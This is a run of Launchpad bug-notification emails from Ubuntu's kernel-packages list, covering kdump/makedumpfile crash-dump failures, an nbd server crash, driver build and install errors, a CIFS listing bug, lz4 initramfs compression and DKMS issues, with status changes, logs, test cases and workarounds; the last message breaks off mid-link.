** No longer affects: kexec-tools (Ubuntu) ** No longer affects: kexec-tools (Ubuntu Cosmic) ** No longer affects: kexec-tools (Ubuntu Disco) ** No longer affects: kexec-tools (Ubuntu Eoan) ** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Disco) ** No longer affects: linux (Ubuntu Eoan) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to kexec-tools in Ubuntu. https://bugs.launchpad.net/bugs/1828597 Title: KDump boot fails with nr_cpus=1 Status in The Ubuntu-power-systems project: Fix Released Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Bionic: Fix Released Status in makedumpfile source package in Disco: Fix Released Status in makedumpfile source package in Eoan: Fix Released Bug description: [Impact] The kdump kernel will crash during its boot if booted on a CPU other than 0. [Test case] Trigger a crash using taskset -c X, where X is not 0 and is a present CPU. Check that the dump is successful. echo c | sudo taskset -c 1 tee /proc/sysrq-trigger [Regression potential] This will cause more memory to be used by the dump kernel, which may cause OOMs during the dump. The fix is restricted to ppc64el. == Comment: #0 - Hari Krishna Bathini - 2019-05-10 06:38:21 == ---Problem Description--- kdump boots fails in some environments when nr_cpus=1 is passed ---uname output--- na Machine Type = na ---Debugger--- A debugger is not configured ---Steps to Reproduce--- 1. configure kdump 2. trigger crash on non-boot cpu Expected result: Capture dump and reboot Actual result: Hang in early kdump boot process after crash Userspace tool common name: kdump-tools The userspace tool has the following bit modes: 64-bit Userspace rpm: kdump-tools Userspace tool obtained from project website: na == Comment: #1 - Hari Krishna Bathini - 2019-05-10 06:45:46 == Launchpad bug 1560552 added "nr_cpus=1" support on ppc64 though this change never made it upstream as maintainer has a few apprehensions.. With 4.18 kernels, this change is dropped on Ubuntu kernels too. With nr_cpus=1 support in kernel, kdump-tools was also updated to use "nr_cpsu=1" by default instead of "maxcpus=1" (see launchpad bug 1568952). This kdump-tools change has to be reverted to make it consist with the kernel change. Note that "nr_cpus=1 change had a issues in kdump guest environment even with "nr_cpus=1" support for kdump in kernel. So, even not withstanding the kernel revert, it is better to default to "maxcpus=1" on all kernel versions. So, please revert the kdump-tools fix that went in with launchpad bug 1568952 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1828597/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1655280] Re: ISST-LTE:pVM:roselp4:ubuntu 16.04: cp: error reading '/proc/vmcore': Bad address when trying to dump vmcore
** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Xenial) ** No longer affects: linux (Ubuntu Bionic) ** No longer affects: linux (Ubuntu Cosmic) ** No longer affects: linux (Ubuntu Disco) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1655280 Title: ISST-LTE:pVM:roselp4:ubuntu 16.04: cp: error reading '/proc/vmcore': Bad address when trying to dump vmcore Status in The Ubuntu-power-systems project: Fix Committed Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: Fix Committed Status in makedumpfile source package in Bionic: Fix Released Status in makedumpfile source package in Cosmic: Fix Released Status in makedumpfile source package in Disco: Fix Released Bug description: [Impact] After a DLPAR memory/CPU add/remove operation, kdump tools need to be restarted or else kdump tools will fail to capture the crash. [Test] == Comment: #0 - Ping Tian Han - 2017-01-09 02:51:00 == ---Problem Description--- Vmcore cannot be saved when triggering bug 150353 on roselp4: Copying data : [ 2.0 %] \/usr/sbin/kdump-config: line 591: 5502 Bus error makedumpfile $MAKEDUMP_ARGS $vmcore_file $KDUMP_CORETEMP [ 512.833872] kdump-tools[5450]: * kdump-tools: makedumpfile failed, falling back to 'cp' [ 573.595449] kdump-tools[5450]: cp: error reading '/proc/vmcore': Bad address [ 573.605717] kdump-tools[5450]: * kdump-tools: failed to save vmcore in /var/crash/201701090223 [ 573.765417] kdump-tools[5450]: * running makedumpfile --dump-dmesg /proc/vmcore /var/crash/201701090223/dmesg.201701090223 [ 574.285506] kdump-tools[5450]: The kernel version is not supported. [ 574.285672] kdump-tools[5450]: The makedumpfile operation may be incomplete. [ 574.285767] kdump-tools[5450]: The dmesg log is saved to /var/crash/201701090223/dmesg.201701090223. [ 574.305422] kdump-tools[5450]: makedumpfile Completed. [ 574.315363] kdump-tools[5450]: * kdump-tools: saved dmesg content in /var/crash/201701090223 [ 574.615688] kdump-tools[5450]: Mon, 09 Jan 2017 02:24:26 -0600 [ 574.705384] kdump-tools[5450]: Rebooting. Stopping ifup for ib0... [ OK ] Stopped ifup for ib0. [ 1008.579897] reboot: Restarting system Contact Information = Ping Tian Han/pt...@cn.ibm.com Carrie Mitsuyoshi/carri...@us.ibm.com ---uname output--- Linux roselp4 4.8.0-34-generic #36~16.04.1-Ubuntu SMP Wed Dec 21 18:53:20 UTC 2016 ppc64le ppc64le ppc64le GNU/Linux Machine Type = lpar ---Debugger--- A debugger is not configured ---Steps to Reproduce--- 1. config kdump on roselp4 2. try to trigger bug 150353 *Additional Instructions for Ping Tian Han/pt...@cn.ibm.com Carrie Mitsuyoshi/carri...@us.ibm.com: -Post a private note with access information to the machine that the bug is occuring on. == Comment: #3 - Brahadambal Srinivasan - 2017-01-10 02:42:25 == root@roselp4:~# cat /proc/cmdline BOOT_IMAGE=/boot/vmlinux-4.8.0-34-generic root=UUID=0bcf3431-df8b-499c-9a13-33070f242e0c ro splash quiet crashkernel=384M-:512M root@roselp4:~# dmesg | grep Reser [0.00] Reserving 512MB of memory at 128MB for crashkernel (System RAM: 21760MB) [Regression Potential] The fix applies to makedumpfile, and could impact dump capture. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1655280/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1655280] Re: ISST-LTE:pVM:roselp4:ubuntu 16.04: cp: error reading '/proc/vmcore': Bad address when trying to dump vmcore
** Changed in: makedumpfile (Ubuntu Xenial) Importance: Undecided => High ** Changed in: makedumpfile (Ubuntu Bionic) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1655280 Title: ISST-LTE:pVM:roselp4:ubuntu 16.04: cp: error reading '/proc/vmcore': Bad address when trying to dump vmcore Status in The Ubuntu-power-systems project: Fix Released Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: Fix Released Status in makedumpfile source package in Bionic: Fix Released Status in makedumpfile source package in Cosmic: Fix Released Status in makedumpfile source package in Disco: Fix Released Bug description: [Impact] After a DLPAR memory/CPU add/remove operation, kdump tools need to be restarted or else kdump tools will fail to capture the crash. [Test] == Comment: #0 - Ping Tian Han - 2017-01-09 02:51:00 == ---Problem Description--- Vmcore cannot be saved when triggering bug 150353 on roselp4: Copying data : [ 2.0 %] \/usr/sbin/kdump-config: line 591: 5502 Bus error makedumpfile $MAKEDUMP_ARGS $vmcore_file $KDUMP_CORETEMP [ 512.833872] kdump-tools[5450]: * kdump-tools: makedumpfile failed, falling back to 'cp' [ 573.595449] kdump-tools[5450]: cp: error reading '/proc/vmcore': Bad address [ 573.605717] kdump-tools[5450]: * kdump-tools: failed to save vmcore in /var/crash/201701090223 [ 573.765417] kdump-tools[5450]: * running makedumpfile --dump-dmesg /proc/vmcore /var/crash/201701090223/dmesg.201701090223 [ 574.285506] kdump-tools[5450]: The kernel version is not supported. [ 574.285672] kdump-tools[5450]: The makedumpfile operation may be incomplete. [ 574.285767] kdump-tools[5450]: The dmesg log is saved to /var/crash/201701090223/dmesg.201701090223. [ 574.305422] kdump-tools[5450]: makedumpfile Completed. [ 574.315363] kdump-tools[5450]: * kdump-tools: saved dmesg content in /var/crash/201701090223 [ 574.615688] kdump-tools[5450]: Mon, 09 Jan 2017 02:24:26 -0600 [ 574.705384] kdump-tools[5450]: Rebooting. Stopping ifup for ib0... [ OK ] Stopped ifup for ib0. [ 1008.579897] reboot: Restarting system Contact Information = Ping Tian Han/pt...@cn.ibm.com Carrie Mitsuyoshi/carri...@us.ibm.com ---uname output--- Linux roselp4 4.8.0-34-generic #36~16.04.1-Ubuntu SMP Wed Dec 21 18:53:20 UTC 2016 ppc64le ppc64le ppc64le GNU/Linux Machine Type = lpar ---Debugger--- A debugger is not configured ---Steps to Reproduce--- 1. config kdump on roselp4 2. try to trigger bug 150353 *Additional Instructions for Ping Tian Han/pt...@cn.ibm.com Carrie Mitsuyoshi/carri...@us.ibm.com: -Post a private note with access information to the machine that the bug is occuring on. == Comment: #3 - Brahadambal Srinivasan - 2017-01-10 02:42:25 == root@roselp4:~# cat /proc/cmdline BOOT_IMAGE=/boot/vmlinux-4.8.0-34-generic root=UUID=0bcf3431-df8b-499c-9a13-33070f242e0c ro splash quiet crashkernel=384M-:512M root@roselp4:~# dmesg | grep Reser [0.00] Reserving 512MB of memory at 128MB for crashkernel (System RAM: 21760MB) [Regression Potential] The fix applies to makedumpfile, and could impact dump capture. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1655280/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1772024] Re: linux 4.13.0-42.47 ADT test failure with linux 4.13.0-42.47 (nbd-smoke-test)
** No longer affects: linux (Ubuntu Cosmic) ** No longer affects: linux (Ubuntu Bionic) ** No longer affects: linux (Ubuntu Artful) ** No longer affects: linux (Ubuntu Xenial) ** No longer affects: linux (Ubuntu Trusty) ** No longer affects: linux (Ubuntu) ** Changed in: nbd (Ubuntu Artful) Status: Incomplete => Won't Fix ** No longer affects: nbd (Ubuntu Xenial) ** No longer affects: nbd (Ubuntu Trusty) ** Tags removed: verification-needed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1772024 Title: linux 4.13.0-42.47 ADT test failure with linux 4.13.0-42.47 (nbd- smoke-test) Status in nbd package in Ubuntu: Fix Released Status in nbd source package in Artful: Won't Fix Status in nbd source package in Bionic: Fix Released Status in nbd source package in Cosmic: Fix Released Bug description: [Impact] nbd-server will crash when a client connects to it, if it was started without a server name. It may also leak fds if fork fails. [Test Case] Running the server with an empty config file and an image on the command line, and then starting a local client will crash the server. After the fix, it doesn't crash anymore, and a filesystem may be created and used after that. [Regression Potential] The fix also implies a small package change, to use quilt. It has built just fine and many tests have been run on top of those packages and no failure seemed to be the result of those userspace changes, but known failures in the kernel driver. Testing failed on: amd64: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-artful/artful/amd64/l/linux/20180518_040741_b3b54@/log.gz i386: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-artful/artful/i386/l/linux/20180518_050911_b3b54@/log.gz ppc64el: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-artful/artful/ppc64el/l/linux/20180518_040734_b3b54@/log.gz s390x: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-artful/artful/s390x/l/linux/20180518_035527_b3b54@/log.gz To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nbd/+bug/1772024/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1800562] Re: Remove obsolete "nousb" option in kdump command-line for newer kernels
** Changed in: makedumpfile (Ubuntu Cosmic) Status: Confirmed => Won't Fix ** Tags added: patch -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1800562 Title: Remove obsolete "nousb" option in kdump command-line for newer kernels Status in makedumpfile package in Ubuntu: In Progress Status in makedumpfile source package in Xenial: Won't Fix Status in makedumpfile source package in Bionic: Confirmed Status in makedumpfile source package in Cosmic: Won't Fix Status in makedumpfile source package in Disco: Confirmed Status in makedumpfile source package in Eoan: In Progress Bug description: [Impact] * Kdump command-line include an obsolete "nousb" parameter by default, which can cause a misimpression: users will think they are not booting with USB, but they are. * Since kernel v4.5, the correct parameter to disable USB subsystem initialization is "usbcore.nousb" always (instead of "nousb" in case the subsystem is built-in). This was changed by commit 097a9ea0e48 ("usb: make "nousb" a clear module parameter"). * USB may be pretty essential in case for example kdump users need to decrypt a disk under LUKS, and there's only an USB keyboard connected to the system. Given the option is innocuous since Bionic, we should just drop it to prevent confusion. [Test Case] 1) Deploy a Disco VM e.g. with uvt-kvm 2) Install the kdump-tools package 3) Run `kdump-config test`and check for the 'nousb' parameter: $ kdump-config test ... kexec command to be used: /sbin/kexec -p --command-line="BOOT_IMAGE=/boot/vmlinuz-4.15.0-45-generic root=LABEL=cloudimg-rootfs ro console=tty1 console=ttyS0 nr_cpus=1 systemd.unit=kdump-tools.service irqpoll nousb ata_piix.prefer_ms_hyperv=0" /var/lib/kdump/vmlinuz [Regression Potential] The regression potential is extremely low, since the "nousb" parameter is not used since Bionic although is there. Any bugs we would have by changing this are still valid by not removing the option - the semantics with or without "nosub" is the same since from Bionic. NOTICE we won't change Xenial, it can use kernel 4.4 which indeed disables USB by taking the "nousb" parameter. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1800562/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1699569] Re: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu1~1.1: bcmwl kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given]
** Changed in: bcmwl (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1699569 Title: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu1~1.1: bcmwl kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given] Status in bcmwl package in Ubuntu: Confirmed Bug description: Description: Ubuntu 16.04.2 LTS Release: 16.04 N: Ignoring file '50unattended-upgrades.ucf-dist' in directory '/etc/apt/apt.conf.d/' as it has an invalid filename extension N: Unable to locate package pkgname trying to install broadcom wireless drivers but cant. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: bcmwl-kernel-source 6.30.223.141+bdcom-0ubuntu2 ProcVersionSignature: Ubuntu 4.4.0-81.104-generic 4.4.67 Uname: Linux 4.4.0-81-generic x86_64 NonfreeKernelModules: wl nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 DKMSKernelVersion: 4.4.0-81-generic Date: Wed Jun 21 23:33:42 2017 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.271+bdcom-0ubuntu1~1.1:/var/lib/dkms/bcmwl/6.30.223.141+bdcom/build/src/wl/sys/wl_linux.c:1354:64: error: macro "alloc_netdev" requires 4 arguments, but only 3 given InstallationDate: Installed on 2017-06-03 (18 days ago) InstallationMedia: Ubuntu 14.04.5 LTS "Trusty Tahr" - Release amd64 (20160803) PackageVersion: 6.30.223.271+bdcom-0ubuntu1~1.1 RelatedPackageVersions: dpkg 1.18.4ubuntu1.2 apt 1.2.20 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.271+bdcom-0ubuntu1~1.1: bcmwl kernel module failed to build UpgradeStatus: Upgraded to xenial on 2017-06-04 (16 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1699569/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1572132] Re: SMBv2+ does not show all files when mounting a windows share
** Also affects: ubuntu-release-notes Importance: Undecided Status: New ** Changed in: ubuntu-release-notes Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1572132 Title: SMBv2+ does not show all files when mounting a windows share Status in Linux: Unknown Status in Release Notes for Ubuntu: Fix Released Status in linux package in Ubuntu: Confirmed Status in linux package in Debian: Confirmed Bug description: When using the SMBv2 Protocol to mount a top level windows share (such as C:\) not all files (or directories) are shown that exist on the server side. Exactly 2 files are always missing... Steps to reproduce: On a windows7 PC (or Server) e.g. C:\ must be published as Share (must be top level share - a subfolder like C:\data\ seems to work) sudo mount -t cifs //SERVER/SHARE_NAME /mnt -o domain=DOMAIN_NAME,username=${USER},uid=1000,gid=1000,nounix,vers=2.0 As a result always 2 Files (or directories) are missing in the mounted directory of the ubuntu installation. Seems to be a kernel bug (source tree: linux/fs/cifs). The ubuntu versions I have checked: Ubuntu 14.04LTS amd64 Ubuntu 15.10 amd64 Ubuntu 16.04 amd64 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: ubuntu-release-upgrader-core 1:16.04.12 ProcVersionSignature: Ubuntu 4.4.0-18.34-generic 4.4.6 Uname: Linux 4.4.0-18-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: KDE Date: Tue Apr 19 14:50:02 2016 InstallationDate: Installed on 2016-04-19 (0 days ago) InstallationMedia: Kubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160417.1) PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: ubuntu-release-upgrader UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1572132/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1705369] Re: Ubuntu boots to blank screen when using Nvidia (on a desktop with an unused Intel GPU)
** Project changed: gnome-shell => gdm ** No longer affects: gnome-shell (Ubuntu) ** No longer affects: mutter (Ubuntu) ** No longer affects: nvidia-graphics-drivers-375 (Ubuntu) ** No longer affects: nvidia-graphics-drivers-384 (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-384 in Ubuntu. https://bugs.launchpad.net/bugs/1705369 Title: Ubuntu boots to blank screen when using Nvidia (on a desktop with an unused Intel GPU) Status in gdm: Fix Released Status in gdm3 package in Ubuntu: Fix Released Bug description: Ubuntu boots to blank screen when using Nvidia drivers (on a desktop with an unused Intel GPU). WORKAROUNDS (you only need one): * Uncomment #WaylandEnable=false in /etc/gdm3/custom.conf * Disable integrated graphics/GPU in your BIOS * Add 'nomodeset' to your kernel cmdline in /etc/default/grub and then run: sudo update-initramfs and reboot. * Add a line to /usr/lib/udev/rules.d/61-gdm.rules: DRIVER=="nvidia", RUN+="/usr/lib/gdm3/gdm-disable-wayland" ORIGINAL DESCRIPTION: This bug is very similar to https://bugs.launchpad.net/ubuntu-gnome/+bug/1559576 which is closed. I have been asked to open a new bug report. The issue is on Ubuntu 17.10 with gdm3 fully updated as of July 20, 2017. I upgraded to 17.10 from a freshly installed Ubuntu 17.04. - Lightdm works - Nouveau driver works - Nvidia driver 375.66 (proprietary) does not work - Nvidia driver 384.47 (open source) does not work (from https://launchpad.net/~graphics-drivers/+archive/ubuntu/ppa) - Nvidia drivers work with Ubuntu Gnome 17.04 I am using Nvidia GTX 1080 and Intel i7-4790K lsb_release -rd: Description: Ubuntu Artful Aardvark (development branch) Release: 17.10 apt-cache policy gnome-shell: gnome-shell: Installed: 3.24.2-0ubuntu7 Candidate: 3.24.2-0ubuntu7 Version table: *** 3.24.2-0ubuntu7 500 500 http://sa.archive.ubuntu.com/ubuntu artful/main amd64 Packages 100 /var/lib/dpkg/status uname -s -r -v -p -i -o: Linux 4.11.0-11-generic #16-Ubuntu SMP Wed Jul 12 20:40:19 UTC 2017 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/gdm/+bug/1705369/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847979] Re: package xserver-xorg-video-nvidia-430 430.26-0ubuntu0.18.04.2 failed to install/upgrade: trying to overwrite '/usr/share/X11/xorg.conf.d/10-nvidia.conf', which is a
** Changed in: nvidia-graphics-drivers-430 (Ubuntu) Status: Incomplete => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-435 in Ubuntu. https://bugs.launchpad.net/bugs/1847979 Title: package xserver-xorg-video-nvidia-430 430.26-0ubuntu0.18.04.2 failed to install/upgrade: trying to overwrite '/usr/share/X11/xorg.conf.d/10-nvidia.conf', which is also in package xserver-xorg-video-nvidia-418 418.74-0ubuntu0~18.04.1 Status in OEM Priority Project: In Progress Status in nvidia-graphics-drivers-430 package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-435 package in Ubuntu: New Status in nvidia-graphics-drivers-430 source package in Bionic: Fix Committed Status in nvidia-graphics-drivers-435 source package in Bionic: New Bug description: There is some problem when upgrading NVIDIA graphics driver from 418 to 430. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: xserver-xorg-video-nvidia-430 430.26-0ubuntu0.18.04.2 ProcVersionSignature: Ubuntu 5.0.0-1024.27-oem-osp1 5.0.21 Uname: Linux 5.0.0-1024-oem-osp1 x86_64 ApportVersion: 2.20.9-0ubuntu7.7 Architecture: amd64 Date: Mon Oct 14 04:57:53 2019 Dependencies: gcc-8-base 8.3.0-6ubuntu1~18.04.1 libc6 2.27-3ubuntu1 libgcc1 1:8.3.0-6ubuntu1~18.04.1 libnvidia-cfg1-430 430.26-0ubuntu0.18.04.2 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-bionic-amd64-20190418-59+beaver-osp1-worm+X09 DuplicateSignature: package:xserver-xorg-video-nvidia-430:430.26-0ubuntu0.18.04.2 Unpacking xserver-xorg-video-nvidia-430 (430.26-0ubuntu0.18.04.2) ... dpkg: error processing archive /tmp/apt-dpkg-install-WH1Eoi/29-xserver-xorg-video-nvidia-430_430.26-0ubuntu0.18.04.2_amd64.deb (--unpack): trying to overwrite '/usr/share/X11/xorg.conf.d/10-nvidia.conf', which is also in package xserver-xorg-video-nvidia-418 418.74-0ubuntu0~18.04.1 ErrorMessage: trying to overwrite '/usr/share/X11/xorg.conf.d/10-nvidia.conf', which is also in package xserver-xorg-video-nvidia-418 418.74-0ubuntu0~18.04.1 InstallationDate: Installed on 2019-10-14 (0 days ago) InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 20190418-12:10 Python3Details: /usr/bin/python3.6, Python 3.6.8, python3-minimal, 3.6.7-1~18.04 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2.3 apt 1.6.12 SourcePackage: nvidia-graphics-drivers-430 Title: package xserver-xorg-video-nvidia-430 430.26-0ubuntu0.18.04.2 failed to install/upgrade: trying to overwrite '/usr/share/X11/xorg.conf.d/10-nvidia.conf', which is also in package xserver-xorg-video-nvidia-418 418.74-0ubuntu0~18.04.1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1847979/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1831736] Re: [MIR] lz4 by default
** No longer affects: partman-auto (Ubuntu) ** Changed in: initramfs-tools (Ubuntu) Importance: Undecided => High ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Changed in: live-build (Ubuntu) Importance: Undecided => High ** Changed in: livecd-rootfs (Ubuntu) Importance: Undecided => High ** Changed in: lz4 (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1831736 Title: [MIR] lz4 by default Status in Release Upgrader: New Status in initramfs-tools package in Ubuntu: Fix Released Status in linux package in Ubuntu: Fix Released Status in live-build package in Ubuntu: Fix Released Status in livecd-rootfs package in Ubuntu: Fix Released Status in lz4 package in Ubuntu: Fix Released Status in ubuntu-release-upgrader package in Ubuntu: Invalid Bug description: Use `lz4 -9 -l` compression for initramfs by default as discussed on ubuntu-devel. This would also pull the lz4 package into main https://lists.ubuntu.com/archives/ubuntu-devel/2019-June/040726.html [Regression Potential] We are trying to optimize for total boot speed, but performing a micro-optimization upon time to create/unpack kernel/initrd is an insufficient benchmark for total boot speed. This is because it ignores time to load the kernel/initrd, and whether the firmware/bootloader were able to stream decompress it whilst loading it. I.e. it is argued that in the real world, subsecond decompression gains are irrelevant if UEFI firmware, tftp boot, etc. take a lot longer than that to read extra 10s of MBs of boot material. [TODO] Measure pure i/o load speed with stopwatch, to figure out MB/s speed of loading initrds/kernel off FAT32, EXT4, TFTP, HTTP. Re-evaluate if we should provide different compression mechanisms: - ie. gzip instead of lz4 for most cases (revert) - ie. xz for painful i/o cases (e.g. netboot) I booted grub2 and measured loading largish amount of files, ie. $ date; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; date To get a rough speed between 30 and 44 MB/s of loading these files off ext4 on nvme. With lz4 initrd taking 67M, and gzip initrd taking 59M, the grub i/o penalty is 0.18s whilst I gain over a second in faster decompression time. Overall a win. xz initrd is 36M meaning saving e.g. 0.8s of i/o time whilst gaining 2.4s of decompression time, meaning overall worse than gzip. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-release-upgrader/+bug/1831736/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1840847] Re: cpuinfo_linux_get_max_processors_count always warns Ubuntu default MAX cpu values (stderr)
** No longer affects: linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1840847 Title: cpuinfo_linux_get_max_processors_count always warns Ubuntu default MAX cpu values (stderr) Status in cpuinfo package in Ubuntu: Fix Released Bug description: From bug: https://bugs.launchpad.net/bugs/1840511 clickhouse builds test started failing because of the presence of stderr whenever using the function: cpuinfo_linux_get_max_processors_count(void) From cpuid library. This happens because: #if defined(__ANDROID__) && !defined(CPU_SETSIZE) /* * Android NDK headers before platform 21 do not define CPU_SETSIZE, * so we hard-code its value, as defined in platform 21 headers */ #if defined(__LP64__) static const uint32_t default_max_processors_count = 1024; #else static const uint32_t default_max_processors_count = 32; #endif #else static const uint32_t default_max_processors_count = CPU_SETSIZE; #endif #if !defined(__ANDROID__) /* * sched.h is only used for CPU_SETSIZE constant. * Android NDK headers before platform 21 do have this constant in sched.h */ #include #endif and resolving includes: x86_64-linux-gnu/bits/cpu-set.h: /* Size definition for CPU sets. */ #define __CPU_SETSIZE 1024 And the warning: Warning in cpuinfo: kernel_max value of 8191 parsed from /sys/devices/system/cpu/kernel_max exceeds platform-default limit 1023 Will always be displayed in Ubuntu OS, when it should NOT (does not make any sense to trigger a warning for something that can't be changed). FOR THE KERNEL TEAM: Should ubuntu update sched.h and/or cpu-set.h to reflect its decision in using 8192 max CPUs ? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cpuinfo/+bug/1840847/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828948] Re: OBSOLETE_BY in DKMS.CONF does not work
** Tags removed: regression-update verification-needed ** Tags added: regression-release -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1828948 Title: OBSOLETE_BY in DKMS.CONF does not work Status in DKMS: Fix Released Status in OEM Priority Project: Fix Committed Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Bionic: Fix Released Status in dkms source package in Disco: Fix Released Bug description: [Impact] OBSOLETE_BY in DKMS.CONF not work Which also be reported on upstream: https://github.com/dell/dkms/issues/81 [Test case] 1. add OBSOLETE_BY in DKMS.CONF e.g. OBSOLETE_BY="4.15.0-1033" 2. the kernel module should not be built with kernel greater than the version specified by OBSOLETE_BY e.g. - user install kernel 4.15.0-1030 and 4.15.0-10360 - user install kernel oem-wifi-qualcomm-ath10k-lp1803647-4.15-dkms [1] which has OBSOLETE_BY="4.15.0-1033" - the kernel module from dkms [1] should only built for 4.15.0-1030, but not for 4.15.0-10360 [Regression potential] None as it used to work, but somehow regression there. [1] https://code.launchpad.net/~alextu/+recipe/oem-wifi-qualcomm- 